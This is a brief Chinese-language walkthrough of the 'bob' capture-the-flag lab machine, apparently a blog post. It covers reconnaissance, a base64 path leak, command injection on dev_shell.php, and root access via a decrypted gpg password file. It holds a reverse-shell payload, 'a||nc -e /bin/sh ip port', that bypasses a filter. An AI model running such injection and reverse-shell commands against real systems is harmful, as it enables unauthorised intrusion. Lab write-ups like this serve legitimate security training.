Post

bob:v1.0.1 Walkthrough

command-injection打点,信息收集提权

Recon

这台机器开放标准端口的ftp、http和非标准端口的ssh

image-20250929215412941

shell as www-data by command-injection

网页前端看起来是一个大学官网,有几个静态的超链接

image-20250929215846887

/news.html,源代码中有一串base64,

image-20250929220114201

解码内容,其中泄露了一个路径passwords.html

image-20250929220146178

目录扫描发现dev_shell.php,访问发现是一个命令执行功能点,存在限制

image-20250929225250107

通过||bypass,使用a||nc -e /bin/sh ip port反弹shell

image-20250929225521193

shell as root by gpg leak

例行检查,发现/home/bob/Documents/login.txt.gpg,尝试解密得到密码

解密后得到bob用户密码,切换后sudo su获得root

image-20250930001644020

如果要问解密的密码是哪来的,他来自于一个没什么含义的目录下一段没什么含义的字符中每一行的首字母

image-20250930001940853

This post is licensed under CC BY 4.0 by the author.